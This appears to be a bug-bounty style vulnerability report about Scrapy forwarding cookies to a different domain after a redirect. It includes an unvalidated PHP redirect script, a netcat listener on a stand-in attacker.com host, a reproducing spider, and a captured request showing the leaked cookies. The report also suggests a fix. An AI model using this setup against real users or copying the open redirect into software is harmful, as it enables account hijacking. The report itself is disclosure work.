BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When you crawling a site with cookie and it received Location header to redirect then scrappy send all cookie to this redirect url even if this is different domain .
But every browser works different way . browser does not send cookie of one domain to other domain due to same-origin-policy .
As cookie is main way for user authentication ,so if cookie is leaked then attacker can performed any action using those leaked cookie .
But here scrapy leaked cookie to thirdparty site if redirect happen .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .

First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we redirect. */
exit;
?>

netcat listner in http://attacker.com

nc -lnvp 8182

STEP TO RERPODUCE

run bellow code

class QuotesSpider(scrapy.Spider):
    name = "quotes"

    def start_requests(self):
        urls = [
                'http://mysite.com/redirect.php?url=http://attacker.com:8182/mm',
        ]
        for url in urls:
            yield scrapy.Request(url=url,cookies={'currency': 'USD', 'country': 'UY'},callback=self.parse)

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')

response received in attacker netcat

Connection from 127.0.0.1 46190 received!
GET /robots.txt HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
User-Agent: Scrapy/2.5.1 (+https://scrapy.org)
Accept-Encoding: gzip, deflate, br
Cookie: currency=USD; country=UY
Host: mysite.com:8182

So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.